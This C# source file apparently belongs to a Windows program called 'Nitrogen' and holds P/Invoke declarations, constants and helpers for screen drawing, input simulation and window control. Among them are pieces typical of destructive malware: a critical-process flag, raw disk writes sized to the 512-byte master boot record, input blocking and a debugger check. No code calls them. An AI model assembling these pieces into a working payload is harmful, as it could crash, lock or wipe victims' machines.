using Microsoft.Win32; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Media; using System.Runtime.InteropServices; using System.Text; namespace Nitrogen { public class Dll_Imports { [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern bool SetWindowText(IntPtr hwnd, String lpString); [DllImport("user32.dll")] public static extern IntPtr GetTopWindow(IntPtr hWnd); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll")] public static extern IntPtr GetDesktopWindow(); [DllImport("user32.dll")] public static extern IntPtr GetWindowDC(IntPtr hwnd); [DllImport("user32.dll")] public static extern bool InvalidateRect(IntPtr hWnd, IntPtr lpRect, bool bErase); [DllImport("User32.dll")] public static extern int ReleaseDC(IntPtr hwnd, IntPtr dc); [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr GetDC(IntPtr hWnd); [DllImport("gdi32.dll")] public static extern IntPtr CreatePatternBrush(IntPtr hbmp); [DllImport("gdi32.dll")] public static extern IntPtr CreateBitmap(int nWidth, int nHeight, uint cPlanes, uint cBitsPerPel, byte[] lpvBits); [DllImport("gdi32.dll")] public static extern uint SetBkColor(IntPtr hdc, uint crColor); [DllImport("gdi32.dll", EntryPoint = "SelectObject")] public static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj); [DllImport("gdi32.dll")] public static extern bool PatBlt(IntPtr hdc, int nXLeft, int nYLeft, int nWidth, int nHeight, TernaryRasterOperations dwRop); [DllImport("gdi32.dll", EntryPoint = "DeleteObject")] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool DeleteObject(IntPtr hObject); [DllImport("gdi32.dll", EntryPoint = "DeleteDC")] public static extern bool DeleteDC(IntPtr hdc); [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool BitBlt(IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, TernaryRasterOperations dwRop); [DllImport("gdi32.dll")] public static extern IntPtr CreateSolidBrush(uint crColor); [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)] public static extern void MoveWindow(IntPtr hwnd, int X, int Y, int nWidth, int nHeight, bool bRepaint); [DllImport("user32.dll", SetLastError = true)] public static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect); [DllImport("kernel32")] public static extern IntPtr CreateFile( string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("kernel32")] public static extern bool WriteFile( IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped); [DllImport("ntdll.dll", SetLastError = true)] public static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); [DllImport("user32.dll")] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool SetCursorPos(int x, int y); [DllImport("user32.dll")] public static extern void mouse_event(uint dwFlags, int dx, int dy, uint dwData, UIntPtr dwExtraInfo); [DllImport("user32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool GetCursorPos(out POINT lpPoint); [DllImport("user32.dll")] public static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize); [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll")] public static extern bool BlockInput(bool fBlockIt); [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd); public static int isCritical = 1; public static int BreakOnTermination = 0x1D; public const uint GenericRead = 0x80000000; public const uint GenericWrite = 0x40000000; public const uint GenericExecute = 0x20000000; public const uint GenericAll = 0x10000000; public const uint FileShareRead = 0x1; public const uint FileShareWrite = 0x2; //dwCreationDisposition public const uint OpenExisting = 0x3; //dwFlagsAndAttributes public const uint FileFlagDeleteOnClose = 0x4000000; public const uint MbrSize = 512u; public const uint MOUSEEVENTF_ABSOLUTE = 0x8000; public const uint MOUSEEVENTF_LEFTDOWN = 0x0002; public const uint MOUSEEVENTF_LEFTUP = 0x0004; public const uint MOUSEEVENTF_MIDDLEDOWN = 0x0020; public const uint MOUSEEVENTF_MIDDLEUP = 0x0040; public const uint MOUSEEVENTF_MOVE = 0x0001; public const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; public const uint MOUSEEVENTF_RIGHTUP = 0x0010; public const uint MOUSEEVENTF_XDOWN = 0x0080; public const uint MOUSEEVENTF_XUP = 0x0100; public const uint MOUSEEVENTF_WHEEL = 0x0800; public const uint MOUSEEVENTF_HWHEEL = 0x01000; [StructLayout(LayoutKind.Sequential)] public struct RECT { public int Left; // x position of upper-left corner public int Top; // y position of upper-left corner public int Right; // x position of lower-right corner public int Bottom; // y position of lower-right corner } public enum GetWindowType : uint { /// /// The retrieved handle identifies the window of the same type that is highest in the Z order. /// /// If the specified window is a topmost window, the handle identifies a topmost window. /// If the specified window is a top-level window, the handle identifies a top-level window. /// If the specified window is a child window, the handle identifies a sibling window. /// GW_HWNDFIRST = 0, /// /// The retrieved handle identifies the window of the same type that is lowest in the Z order. /// /// If the specified window is a topmost window, the handle identifies a topmost window. /// If the specified window is a top-level window, the handle identifies a top-level window. /// If the specified window is a child window, the handle identifies a sibling window. /// GW_HWNDLAST = 1, /// /// The retrieved handle identifies the window below the specified window in the Z order. /// /// If the specified window is a topmost window, the handle identifies a topmost window. /// If the specified window is a top-level window, the handle identifies a top-level window. /// If the specified window is a child window, the handle identifies a sibling window. /// GW_HWNDNEXT = 2, /// /// The retrieved handle identifies the window above the specified window in the Z order. /// /// If the specified window is a topmost window, the handle identifies a topmost window. /// If the specified window is a top-level window, the handle identifies a top-level window. /// If the specified window is a child window, the handle identifies a sibling window. /// GW_HWNDPREV = 3, /// /// The retrieved handle identifies the specified window's owner window, if any. /// GW_OWNER = 4, /// /// The retrieved handle identifies the child window at the top of the Z order, /// if the specified window is a parent window; otherwise, the retrieved handle is NULL. /// The function examines only child windows of the specified window. It does not examine descendant windows. /// GW_CHILD = 5, /// /// The retrieved handle identifies the enabled popup window owned by the specified window (the /// search uses the first such window found using GW_HWNDNEXT); otherwise, if there are no enabled /// popup windows, the retrieved handle is that of the specified window. /// GW_ENABLEDPOPUP = 6 } public enum TernaryRasterOperations : uint { /// dest = source SRCCOPY = 0x00CC0020, /// dest = source OR dest SRCPAINT = 0x00EE0086, /// dest = source AND dest SRCAND = 0x008800C6, /// dest = source XOR dest SRCINVERT = 0x00660046, /// dest = source AND (NOT dest) SRCERASE = 0x00440328, /// dest = (NOT source) NOTSRCCOPY = 0x00330008, /// dest = (NOT src) AND (NOT dest) NOTSRCERASE = 0x001100A6, /// dest = (source AND pattern) MERGECOPY = 0x00C000CA, /// dest = (NOT source) OR dest MERGEPAINT = 0x00BB0226, /// dest = pattern PATCOPY = 0x00F00021, /// dest = DPSnoo PATPAINT = 0x00FB0A09, /// dest = pattern XOR dest PATINVERT = 0x005A0049, /// dest = (NOT dest) DSTINVERT = 0x00550009, /// dest = BLACK BLACKNESS = 0x00000042, /// dest = WHITE WHITENESS = 0x00FF0062, /// /// Capture window as seen on screen. This includes layered windows /// such as WPF windows with AllowsTransparency="true" /// CAPTUREBLT = 0x40000000, CUSTOM = 0x00100C85 } public enum MouseEventFlags : uint { LEFTDOWN = 0x00000002, LEFTUP = 0x00000004, MIDDLEDOWN = 0x00000020, MIDDLEUP = 0x00000040, MOVE = 0x00000001, ABSOLUTE = 0x00008000, RIGHTDOWN = 0x00000008, RIGHTUP = 0x00000010, WHEEL = 0x00000800, XDOWN = 0x00000080, XUP = 0x00000100 } public enum MouseEventDataXButtons : uint { XBUTTON1 = 0x00000001, XBUTTON2 = 0x00000002 } [StructLayout(LayoutKind.Sequential)] public struct POINT { public int X; public int Y; public POINT(int x, int y) { this.X = x; this.Y = y; } public static implicit operator System.Drawing.Point(POINT p) { return new System.Drawing.Point(p.X, p.Y); } public static implicit operator POINT(System.Drawing.Point p) { return new POINT(p.X, p.Y); } public override string ToString() { return $"X: {X}, Y: {Y}"; } } [StructLayout(LayoutKind.Sequential)] public struct INPUT { internal InputType type; internal InputUnion U; public static int Size { get { return Marshal.SizeOf(typeof(INPUT)); } } } public enum InputType : uint { INPUT_MOUSE, INPUT_KEYBOARD, INPUT_HARDWARE } [StructLayout(LayoutKind.Explicit)] public struct InputUnion { [FieldOffset(0)] internal MOUSEINPUT mi; [FieldOffset(0)] internal KEYBDINPUT ki; [FieldOffset(0)] internal HARDWAREINPUT hi; } [StructLayout(LayoutKind.Sequential)] public struct KEYBDINPUT { internal VirtualKeyShort wVk; internal ScanCodeShort wScan; internal KEYEVENTF dwFlags; internal int time; internal UIntPtr dwExtraInfo; } [Flags] public enum KEYEVENTF : uint { EXTENDEDKEY = 0x0001, KEYUP = 0x0002, SCANCODE = 0x0008, UNICODE = 0x0004 } public enum VirtualKeyShort : short { /// ///Left mouse button /// LBUTTON = 0x01, /// ///Right mouse button /// RBUTTON = 0x02, /// ///Control-break processing /// CANCEL = 0x03, /// ///Middle mouse button (three-button mouse) /// MBUTTON = 0x04, /// ///Windows 2000/XP: X1 mouse button /// XBUTTON1 = 0x05, /// ///Windows 2000/XP: X2 mouse button /// XBUTTON2 = 0x06, /// ///BACKSPACE key /// BACK = 0x08, /// ///TAB key /// TAB = 0x09, /// ///CLEAR key /// CLEAR = 0x0C, /// ///ENTER key /// RETURN = 0x0D, /// ///SHIFT key /// SHIFT = 0x10, /// ///CTRL key /// CONTROL = 0x11, /// ///ALT key /// MENU = 0x12, /// ///PAUSE key /// PAUSE = 0x13, /// ///CAPS LOCK key /// CAPITAL = 0x14, /// ///Input Method Editor (IME) Kana mode /// KANA = 0x15, /// ///IME Hangul mode /// HANGUL = 0x15, /// ///IME Junja mode /// JUNJA = 0x17, /// ///IME final mode /// FINAL = 0x18, /// ///IME Hanja mode /// HANJA = 0x19, /// ///IME Kanji mode /// KANJI = 0x19, /// ///ESC key /// ESCAPE = 0x1B, /// ///IME convert /// CONVERT = 0x1C, /// ///IME nonconvert /// NONCONVERT = 0x1D, /// ///IME accept /// ACCEPT = 0x1E, /// ///IME mode change request /// MODECHANGE = 0x1F, /// ///SPACEBAR /// SPACE = 0x20, /// ///PAGE UP key /// PRIOR = 0x21, /// ///PAGE DOWN key /// NEXT = 0x22, /// ///END key /// END = 0x23, /// ///HOME key /// HOME = 0x24, /// ///LEFT ARROW key /// LEFT = 0x25, /// ///UP ARROW key /// UP = 0x26, /// ///RIGHT ARROW key /// RIGHT = 0x27, /// ///DOWN ARROW key /// DOWN = 0x28, /// ///SELECT key /// SELECT = 0x29, /// ///PRINT key /// PRINT = 0x2A, /// ///EXECUTE key /// EXECUTE = 0x2B, /// ///PRINT SCREEN key /// SNAPSHOT = 0x2C, /// ///INS key /// INSERT = 0x2D, /// ///DEL key /// DELETE = 0x2E, /// ///HELP key /// HELP = 0x2F, /// ///0 key /// KEY_0 = 0x30, /// ///1 key /// KEY_1 = 0x31, /// ///2 key /// KEY_2 = 0x32, /// ///3 key /// KEY_3 = 0x33, /// ///4 key /// KEY_4 = 0x34, /// ///5 key /// KEY_5 = 0x35, /// ///6 key /// KEY_6 = 0x36, /// ///7 key /// KEY_7 = 0x37, /// ///8 key /// KEY_8 = 0x38, /// ///9 key /// KEY_9 = 0x39, /// ///A key /// KEY_A = 0x41, /// ///B key /// KEY_B = 0x42, /// ///C key /// KEY_C = 0x43, /// ///D key /// KEY_D = 0x44, /// ///E key /// KEY_E = 0x45, /// ///F key /// KEY_F = 0x46, /// ///G key /// KEY_G = 0x47, /// ///H key /// KEY_H = 0x48, /// ///I key /// KEY_I = 0x49, /// ///J key /// KEY_J = 0x4A, /// ///K key /// KEY_K = 0x4B, /// ///L key /// KEY_L = 0x4C, /// ///M key /// KEY_M = 0x4D, /// ///N key /// KEY_N = 0x4E, /// ///O key /// KEY_O = 0x4F, /// ///P key /// KEY_P = 0x50, /// ///Q key /// KEY_Q = 0x51, /// ///R key /// KEY_R = 0x52, /// ///S key /// KEY_S = 0x53, /// ///T key /// KEY_T = 0x54, /// ///U key /// KEY_U = 0x55, /// ///V key /// KEY_V = 0x56, /// ///W key /// KEY_W = 0x57, /// ///X key /// KEY_X = 0x58, /// ///Y key /// KEY_Y = 0x59, /// ///Z key /// KEY_Z = 0x5A, /// ///Left Windows key (Microsoft Natural keyboard) /// LWIN = 0x5B, /// ///Right Windows key (Natural keyboard) /// RWIN = 0x5C, /// ///Applications key (Natural keyboard) /// APPS = 0x5D, /// ///Computer Sleep key /// SLEEP = 0x5F, /// ///Numeric keypad 0 key /// NUMPAD0 = 0x60, /// ///Numeric keypad 1 key /// NUMPAD1 = 0x61, /// ///Numeric keypad 2 key /// NUMPAD2 = 0x62, /// ///Numeric keypad 3 key /// NUMPAD3 = 0x63, /// ///Numeric keypad 4 key /// NUMPAD4 = 0x64, /// ///Numeric keypad 5 key /// NUMPAD5 = 0x65, /// ///Numeric keypad 6 key /// NUMPAD6 = 0x66, /// ///Numeric keypad 7 key /// NUMPAD7 = 0x67, /// ///Numeric keypad 8 key /// NUMPAD8 = 0x68, /// ///Numeric keypad 9 key /// NUMPAD9 = 0x69, /// ///Multiply key /// MULTIPLY = 0x6A, /// ///Add key /// ADD = 0x6B, /// ///Separator key /// SEPARATOR = 0x6C, /// ///Subtract key /// SUBTRACT = 0x6D, /// ///Decimal key /// DECIMAL = 0x6E, /// ///Divide key /// DIVIDE = 0x6F, /// ///F1 key /// F1 = 0x70, /// ///F2 key /// F2 = 0x71, /// ///F3 key /// F3 = 0x72, /// ///F4 key /// F4 = 0x73, /// ///F5 key /// F5 = 0x74, /// ///F6 key /// F6 = 0x75, /// ///F7 key /// F7 = 0x76, /// ///F8 key /// F8 = 0x77, /// ///F9 key /// F9 = 0x78, /// ///F10 key /// F10 = 0x79, /// ///F11 key /// F11 = 0x7A, /// ///F12 key /// F12 = 0x7B, /// ///F13 key /// F13 = 0x7C, /// ///F14 key /// F14 = 0x7D, /// ///F15 key /// F15 = 0x7E, /// ///F16 key /// F16 = 0x7F, /// ///F17 key /// F17 = 0x80, /// ///F18 key /// F18 = 0x81, /// ///F19 key /// F19 = 0x82, /// ///F20 key /// F20 = 0x83, /// ///F21 key /// F21 = 0x84, /// ///F22 key, (PPC only) Key used to lock device. /// F22 = 0x85, /// ///F23 key /// F23 = 0x86, /// ///F24 key /// F24 = 0x87, /// ///NUM LOCK key /// NUMLOCK = 0x90, /// ///SCROLL LOCK key /// SCROLL = 0x91, /// ///Left SHIFT key /// LSHIFT = 0xA0, /// ///Right SHIFT key /// RSHIFT = 0xA1, /// ///Left CONTROL key /// LCONTROL = 0xA2, /// ///Right CONTROL key /// RCONTROL = 0xA3, /// ///Left MENU key /// LMENU = 0xA4, /// ///Right MENU key /// RMENU = 0xA5, /// ///Windows 2000/XP: Browser Back key /// BROWSER_BACK = 0xA6, /// ///Windows 2000/XP: Browser Forward key /// BROWSER_FORWARD = 0xA7, /// ///Windows 2000/XP: Browser Refresh key /// BROWSER_REFRESH = 0xA8, /// ///Windows 2000/XP: Browser Stop key /// BROWSER_STOP = 0xA9, /// ///Windows 2000/XP: Browser Search key /// BROWSER_SEARCH = 0xAA, /// ///Windows 2000/XP: Browser Favorites key /// BROWSER_FAVORITES = 0xAB, /// ///Windows 2000/XP: Browser Start and Home key /// BROWSER_HOME = 0xAC, /// ///Windows 2000/XP: Volume Mute key /// VOLUME_MUTE = 0xAD, /// ///Windows 2000/XP: Volume Down key /// VOLUME_DOWN = 0xAE, /// ///Windows 2000/XP: Volume Up key /// VOLUME_UP = 0xAF, /// ///Windows 2000/XP: Next Track key /// MEDIA_NEXT_TRACK = 0xB0, /// ///Windows 2000/XP: Previous Track key /// MEDIA_PREV_TRACK = 0xB1, /// ///Windows 2000/XP: Stop Media key /// MEDIA_STOP = 0xB2, /// ///Windows 2000/XP: Play/Pause Media key /// MEDIA_PLAY_PAUSE = 0xB3, /// ///Windows 2000/XP: Start Mail key /// LAUNCH_MAIL = 0xB4, /// ///Windows 2000/XP: Select Media key /// LAUNCH_MEDIA_SELECT = 0xB5, /// ///Windows 2000/XP: Start Application 1 key /// LAUNCH_APP1 = 0xB6, /// ///Windows 2000/XP: Start Application 2 key /// LAUNCH_APP2 = 0xB7, /// ///Used for miscellaneous characters; it can vary by keyboard. /// OEM_1 = 0xBA, /// ///Windows 2000/XP: For any country/region, the '+' key /// OEM_PLUS = 0xBB, /// ///Windows 2000/XP: For any country/region, the ',' key /// OEM_COMMA = 0xBC, /// ///Windows 2000/XP: For any country/region, the '-' key /// OEM_MINUS = 0xBD, /// ///Windows 2000/XP: For any country/region, the '.' key /// OEM_PERIOD = 0xBE, /// ///Used for miscellaneous characters; it can vary by keyboard. /// OEM_2 = 0xBF, /// ///Used for miscellaneous characters; it can vary by keyboard. /// OEM_3 = 0xC0, /// ///Used for miscellaneous characters; it can vary by keyboard. /// OEM_4 = 0xDB, /// ///Used for miscellaneous characters; it can vary by keyboard. /// OEM_5 = 0xDC, /// ///Used for miscellaneous characters; it can vary by keyboard. /// OEM_6 = 0xDD, /// ///Used for miscellaneous characters; it can vary by keyboard. /// OEM_7 = 0xDE, /// ///Used for miscellaneous characters; it can vary by keyboard. /// OEM_8 = 0xDF, /// ///Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard /// OEM_102 = 0xE2, /// ///Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key /// PROCESSKEY = 0xE5, /// ///Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. ///The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, ///see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP /// PACKET = 0xE7, /// ///Attn key /// ATTN = 0xF6, /// ///CrSel key /// CRSEL = 0xF7, /// ///ExSel key /// EXSEL = 0xF8, /// ///Erase EOF key /// EREOF = 0xF9, /// ///Play key /// PLAY = 0xFA, /// ///Zoom key /// ZOOM = 0xFB, /// ///Reserved /// NONAME = 0xFC, /// ///PA1 key /// PA1 = 0xFD, /// ///Clear key /// OEM_CLEAR = 0xFE } public enum ScanCodeShort : short { LBUTTON = 0, RBUTTON = 0, CANCEL = 70, MBUTTON = 0, XBUTTON1 = 0, XBUTTON2 = 0, BACK = 14, TAB = 15, CLEAR = 76, RETURN = 28, SHIFT = 42, CONTROL = 29, MENU = 56, PAUSE = 0, CAPITAL = 58, KANA = 0, HANGUL = 0, JUNJA = 0, FINAL = 0, HANJA = 0, KANJI = 0, ESCAPE = 1, CONVERT = 0, NONCONVERT = 0, ACCEPT = 0, MODECHANGE = 0, SPACE = 57, PRIOR = 73, NEXT = 81, END = 79, HOME = 71, LEFT = 75, UP = 72, RIGHT = 77, DOWN = 80, SELECT = 0, PRINT = 0, EXECUTE = 0, SNAPSHOT = 84, INSERT = 82, DELETE = 83, HELP = 99, KEY_0 = 11, KEY_1 = 2, KEY_2 = 3, KEY_3 = 4, KEY_4 = 5, KEY_5 = 6, KEY_6 = 7, KEY_7 = 8, KEY_8 = 9, KEY_9 = 10, KEY_A = 30, KEY_B = 48, KEY_C = 46, KEY_D = 32, KEY_E = 18, KEY_F = 33, KEY_G = 34, KEY_H = 35, KEY_I = 23, KEY_J = 36, KEY_K = 37, KEY_L = 38, KEY_M = 50, KEY_N = 49, KEY_O = 24, KEY_P = 25, KEY_Q = 16, KEY_R = 19, KEY_S = 31, KEY_T = 20, KEY_U = 22, KEY_V = 47, KEY_W = 17, KEY_X = 45, KEY_Y = 21, KEY_Z = 44, LWIN = 91, RWIN = 92, APPS = 93, SLEEP = 95, NUMPAD0 = 82, NUMPAD1 = 79, NUMPAD2 = 80, NUMPAD3 = 81, NUMPAD4 = 75, NUMPAD5 = 76, NUMPAD6 = 77, NUMPAD7 = 71, NUMPAD8 = 72, NUMPAD9 = 73, MULTIPLY = 55, ADD = 78, SEPARATOR = 0, SUBTRACT = 74, DECIMAL = 83, DIVIDE = 53, F1 = 59, F2 = 60, F3 = 61, F4 = 62, F5 = 63, F6 = 64, F7 = 65, F8 = 66, F9 = 67, F10 = 68, F11 = 87, F12 = 88, F13 = 100, F14 = 101, F15 = 102, F16 = 103, F17 = 104, F18 = 105, F19 = 106, F20 = 107, F21 = 108, F22 = 109, F23 = 110, F24 = 118, NUMLOCK = 69, SCROLL = 70, LSHIFT = 42, RSHIFT = 54, LCONTROL = 29, RCONTROL = 29, LMENU = 56, RMENU = 56, BROWSER_BACK = 106, BROWSER_FORWARD = 105, BROWSER_REFRESH = 103, BROWSER_STOP = 104, BROWSER_SEARCH = 101, BROWSER_FAVORITES = 102, BROWSER_HOME = 50, VOLUME_MUTE = 32, VOLUME_DOWN = 46, VOLUME_UP = 48, MEDIA_NEXT_TRACK = 25, MEDIA_PREV_TRACK = 16, MEDIA_STOP = 36, MEDIA_PLAY_PAUSE = 34, LAUNCH_MAIL = 108, LAUNCH_MEDIA_SELECT = 109, LAUNCH_APP1 = 107, LAUNCH_APP2 = 33, OEM_1 = 39, OEM_PLUS = 13, OEM_COMMA = 51, OEM_MINUS = 12, OEM_PERIOD = 52, OEM_2 = 53, OEM_3 = 41, OEM_4 = 26, OEM_5 = 43, OEM_6 = 27, OEM_7 = 40, OEM_8 = 0, OEM_102 = 86, PROCESSKEY = 0, PACKET = 0, ATTN = 0, CRSEL = 0, EXSEL = 0, EREOF = 93, PLAY = 0, ZOOM = 98, NONAME = 0, PA1 = 0, OEM_CLEAR = 0, } [StructLayout(LayoutKind.Sequential)] public struct HARDWAREINPUT { internal int uMsg; internal short wParamL; internal short wParamH; } [StructLayout(LayoutKind.Sequential)] public struct MOUSEINPUT { internal int dx; internal int dy; internal int mouseData; internal MOUSEEVENTF dwFlags; internal uint time; internal UIntPtr dwExtraInfo; } [Flags] public enum MOUSEEVENTF : uint { ABSOLUTE = 0x8000, HWHEEL = 0x01000, MOVE = 0x0001, MOVE_NOCOALESCE = 0x2000, LEFTDOWN = 0x0002, LEFTUP = 0x0004, RIGHTDOWN = 0x0008, RIGHTUP = 0x0010, MIDDLEDOWN = 0x0020, MIDDLEUP = 0x0040, VIRTUALDESK = 0x4000, WHEEL = 0x0800, XDOWN = 0x0080, XUP = 0x0100 } [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, string lParam); public delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); [DllImport("user32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool EnumChildWindows(IntPtr hWndParent, EnumWindowsProc lpEnumFunc, IntPtr lParam); public static string GenerateRandomString(int length) { Random random = new Random(); const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz§-+−℃©|–×℉÷®¦—=№™℗()<>⁅⁆[]‹›⌈⌉{}«»⌊⌋⟨⟩⟦⟧`´⟪⟫⟬⟭‸¸⟮⟯‖‗¨¯′‵‘’‚‛″‶“”„‟‴‷⁗*†‡%•¶⁋⁎⁕‰‣⁌⁍⁑⁜‱♪⁽⁾⁂※;·․․⁞⁛¬⁏‥⁚⁖⁙✓:…⁝⁘_✕"; return new string(Enumerable.Repeat(chars, length) .Select(s => s[random.Next(s.Length)]).ToArray()); } public static IntPtr hdcDesktop; public static IntPtr hwndDesktop; public static RECT rcScrBounds; [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int rand(); [DllImport("user32.dll")] public static extern bool DestroyCursor(IntPtr hCursor); [DllImport("user32.dll")] public static extern bool GetCursorInfo(ref CURSORINFO pci); public const Int32 CURSOR_SHOWING = 0x00000001; public const Int32 CURSOR_SUPPRESSED = 0x00000002; [StructLayout(LayoutKind.Sequential)] public struct CURSORINFO { public Int32 cbSize; // Specifies the size, in bytes, of the structure. // The caller must set this to Marshal.SizeOf(typeof(CURSORINFO)). public Int32 flags; // Specifies the cursor state. This parameter can be one of the following values: // 0 The cursor is hidden. // CURSOR_SHOWING The cursor is showing. // CURSOR_SUPPRESSED (Windows 8 and above.) The cursor is suppressed. This flag indicates that the system is not drawing the cursor because the user is providing input through touch or pen instead of the mouse. public IntPtr hCursor; // Handle to the cursor. public POINT ptScreenPos; // A POINT structure that receives the screen coordinates of the cursor. } [DllImport("user32.dll", SetLastError = true)] public static extern bool DrawIcon(IntPtr hdc, int xLeft, int yTop, IntPtr hIcon); [DllImport("user32.dll")] public static extern int GetSystemMetrics(int smIndex); public static int SM_CXCURSOR = 13; public static int SM_CYCURSOR = 14; // Token: 0x06000004 RID: 4 [DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)] public static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent); // Token: 0x06000005 RID: 5 [DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string lpModuleName); public const uint LVM_SETITEMPOSITION = 0x1000 + 15; [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr hWndChildAfter, string className, string windowTitle); public static IntPtr MakeLParam(int wLow, int wHigh) { return (IntPtr)(((short)wHigh << 16) | (wLow & 0xffff)); } [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); public static void PlaySystemSound(string RegistryName) { string fileName = ""; RegistryKey key = Registry.CurrentUser.CreateSubKey(@"AppEvents\Schemes\Apps\.Default\" + RegistryName + @"\.Current"); try { fileName = (string)key.GetValue("", fileName); } finally { key.Close(); } if (!File.Exists(fileName)) return; SoundPlayer player = new SoundPlayer(fileName); try { player.Play(); } finally { player.Dispose(); } } } }